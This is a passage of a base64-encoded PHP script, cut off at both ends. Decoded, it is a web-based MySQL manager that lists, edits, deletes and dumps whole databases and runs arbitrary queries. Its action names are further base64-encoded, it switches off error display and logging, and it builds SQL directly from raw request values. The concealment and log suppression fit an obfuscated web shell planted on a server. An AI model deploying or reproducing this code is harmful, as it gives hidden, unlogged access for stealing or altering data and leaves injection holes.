KQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc